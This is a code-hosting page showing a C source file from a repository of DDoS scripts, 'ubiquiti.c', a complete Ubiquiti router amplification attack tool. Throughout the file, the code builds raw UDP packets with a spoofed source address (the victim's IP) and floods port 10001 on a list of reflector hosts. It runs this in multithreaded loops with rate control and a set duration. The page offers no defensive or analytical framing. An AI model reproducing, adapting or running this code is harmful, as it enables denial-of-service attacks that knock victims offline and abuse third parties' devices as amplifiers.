Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/AMP Methods/Port 10001 - Ubiquiti/ubiquiti.c
4622 views
1
/*-------------------------------
2
Ubiquiti router amplification on the dumb template C script.
3
- Phenomite
4
-------------------------------*/
5
#include <arpa/inet.h>
6
#include <netinet/ip.h>
7
#include <netinet/udp.h>
8
#include <pthread.h>
9
#include <stdio.h>
10
#include <stdlib.h>
11
#include <string.h>
12
#include <sys/socket.h>
13
#include <time.h>
14
#include <unistd.h>
15
16
static unsigned int DPORT = 10001;
17
static const char PAYLOAD[] = "\x01\x00\x00\x00";
18
19
// Phenomite template begin
20
#define MAX_PACKET_SIZE 4096
21
#define PHI 0xaaf219b9
22
static uint32_t Q[4096], c = 362436;
23
static unsigned int PAYLOADSIZE = sizeof(PAYLOAD) - 1;
24
25
struct list {
26
struct sockaddr_in data;
27
struct list *next;
28
struct list *prev;
29
};
30
struct list *head;
31
volatile int tehport;
32
volatile int limiter;
33
volatile unsigned int pps;
34
volatile unsigned int sleeptime = 100;
35
struct thread_data {
36
int thread_id;
37
struct list *list_node;
38
struct sockaddr_in sin;
39
};
40
41
void init_rand(uint32_t x) {
42
int i;
43
Q[0] = x;
44
Q[1] = x + PHI;
45
Q[2] = x + PHI + PHI;
46
for (i = 3; i < 4096; i++) {
47
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
48
}
49
}
50
51
uint32_t rand_cmwc(void) {
52
uint64_t t, a = 18782LL;
53
static uint32_t i = 4095;
54
uint32_t x, r = 0xfffffffe;
55
i = (i + 1) & 4095;
56
t = a * Q[i] + c;
57
c = (t >> 32);
58
x = t + c;
59
if (x < c) {
60
x++;
61
c++;
62
}
63
return (Q[i] = r - x);
64
}
65
66
/* function for header checksums */
67
unsigned short csum(unsigned short *buf, int nwords) {
68
unsigned long sum;
69
for (sum = 0; nwords > 0; nwords--)
70
sum += *buf++;
71
sum = (sum >> 16) + (sum & 0xffff);
72
sum += (sum >> 16);
73
return (unsigned short)(~sum);
74
}
75
76
void setup_ip_header(struct iphdr *iph) {
77
iph->ihl = 5;
78
iph->version = 4;
79
iph->tos = 0;
80
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;
81
iph->id = htonl(61337);
82
iph->frag_off = 0;
83
iph->ttl = MAXTTL;
84
iph->protocol = IPPROTO_UDP;
85
iph->check = 0;
86
iph->saddr = inet_addr("127.0.0.1");
87
}
88
void setup_udp_header(struct udphdr *udph) {
89
udph->source = htons(61337);
90
udph->dest = htons(DPORT);
91
udph->check = 0;
92
memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);
93
udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);
94
}
95
void *flood(void *par1) {
96
struct thread_data *td = (struct thread_data *)par1;
97
char datagram[MAX_PACKET_SIZE];
98
struct iphdr *iph = (struct iphdr *)datagram;
99
struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);
100
struct sockaddr_in sin = td->sin;
101
struct list *list_node = td->list_node;
102
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
103
if (s < 0) {
104
fprintf(stderr, "Could not open raw socket.\n");
105
exit(-1);
106
}
107
init_rand(time(NULL));
108
memset(datagram, 0, MAX_PACKET_SIZE);
109
setup_ip_header(iph);
110
setup_udp_header(udph);
111
udph->source = htons(tehport);
112
iph->saddr = sin.sin_addr.s_addr;
113
iph->daddr = list_node->data.sin_addr.s_addr;
114
iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
115
int tmp = 1;
116
const int *val = &tmp;
117
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {
118
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
119
exit(-1);
120
}
121
init_rand(time(NULL));
122
register unsigned int i;
123
i = 0;
124
while (1) {
125
list_node = list_node->next;
126
iph->daddr = list_node->data.sin_addr.s_addr;
127
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
128
iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
129
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,
130
sizeof(list_node->data));
131
pps++;
132
if (i >= limiter) {
133
i = 0;
134
usleep(sleeptime);
135
}
136
i++;
137
}
138
}
139
int main(int argc, char *argv[]) {
140
if (argc < 6) {
141
fprintf(stdout, "%s host port listfile threads limit[-1 for none] time\n",
142
argv[0]);
143
exit(-1);
144
}
145
srand(time(NULL));
146
int i = 0;
147
head = NULL;
148
fprintf(stdout, "Loading list to buffer\n");
149
int max_len = 512;
150
char *buffer = (char *)malloc(max_len);
151
buffer = memset(buffer, 0x00, max_len);
152
tehport = atoi(argv[2]);
153
int num_threads = atoi(argv[4]);
154
int maxpps = atoi(argv[5]);
155
limiter = 0;
156
pps = 0;
157
int multiplier = 20;
158
FILE *list_fd = fopen(argv[3], "r");
159
while (fgets(buffer, max_len, list_fd) != NULL) {
160
if ((buffer[strlen(buffer) - 1] == '\n') ||
161
(buffer[strlen(buffer) - 1] == '\r')) {
162
buffer[strlen(buffer) - 1] = 0x00;
163
if (head == NULL) {
164
head = (struct list *)malloc(sizeof(struct list));
165
bzero(&head->data, sizeof(head->data));
166
head->data.sin_addr.s_addr = inet_addr(buffer);
167
head->next = head;
168
head->prev = head;
169
} else {
170
struct list *new_node = (struct list *)malloc(sizeof(struct list));
171
memset(new_node, 0x00, sizeof(struct list));
172
new_node->data.sin_addr.s_addr = inet_addr(buffer);
173
new_node->prev = head;
174
new_node->next = head->next;
175
head->next = new_node;
176
}
177
i++;
178
} else {
179
continue;
180
}
181
}
182
struct list *current = head->next;
183
pthread_t thread[num_threads];
184
struct sockaddr_in sin;
185
sin.sin_family = AF_INET;
186
sin.sin_addr.s_addr = inet_addr(argv[1]);
187
struct thread_data td[num_threads];
188
for (i = 0; i < num_threads; i++) {
189
td[i].thread_id = i;
190
td[i].sin = sin;
191
td[i].list_node = current;
192
pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);
193
}
194
fprintf(stdout, "Yeeting\n");
195
for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {
196
usleep((1000 / multiplier) * 1000);
197
if ((pps * multiplier) > maxpps) {
198
if (1 > limiter) {
199
sleeptime += 100;
200
} else {
201
limiter--;
202
}
203
} else {
204
limiter++;
205
if (sleeptime > 25) {
206
sleeptime -= 25;
207
} else {
208
sleeptime = 0;
209
}
210
}
211
pps = 0;
212
}
213
return 0;
214
}
215
216